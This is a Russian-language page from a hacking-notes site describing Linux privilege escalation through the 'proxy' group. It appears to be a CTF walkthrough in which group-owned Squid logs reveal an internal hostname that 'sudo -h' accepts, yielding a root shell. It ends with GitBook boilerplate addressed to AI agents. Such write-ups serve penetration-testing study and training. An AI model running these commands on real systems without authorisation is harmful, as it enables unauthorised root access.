> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/user-groups/proxy-group-linux-privilege-escalation.md).

# Злоупотребление группой proxy — повышение привилегий в Linux

## Что это такое

Опасные членства в локальных группах могут раскрывать привилегированные ресурсы без необходимости эксплуатации ядра. Такие группы, как docker, lxd, adm или proxy, могут давать контроль над хостом, доступ к конфиденциальным журналам или путям конфигурации, полезным для бокового перемещения и повышения привилегий до root. Эта конкретная страница посвящена **Группа пользователя (proxy)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
id
groups
```

## Примеры

Злоупотребление прокси и именами хостов

Проверив группы пользователя, мы видим, что принадлежим к группе proxy. Ищем связанные файлы:

<figure><img src="/files/0742c481fbb7c400007640d9f74fb32eefb59d99" alt=""><figcaption></figcaption></figure>

При изучении логов Squid (`/var/log/squid/access.log.1`), мы ищем записи, связанные с прокси, и файлы, принадлежащие группе:

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/fe0e9abfb95b258598510f772a32c8d5bfbd73ea" alt=""><figcaption></figcaption></figure>

Мы обнаруживаем внутренний поддомен: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/e009597a705ed7d819074b0fb7e79cbb64e101ff" alt=""><figcaption></figcaption></figure>

Проверив политики sudo для этой конкретной области, мы обнаруживаем, что у нас есть полный доступ:

```bash
sudo -h offramp.expressway.htb -l
```

Результат: мы можем выполнять любую команду от root в контексте этого хоста.

<figure><img src="/files/08e32b7c805f3e4fc34890e54d84c275dedac6fd" alt=""><figcaption></figcaption></figure>

**Итоговое выполнение для root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/c86ee9454429986ea46e59537b938fce0a179f88" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/user-groups/proxy-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
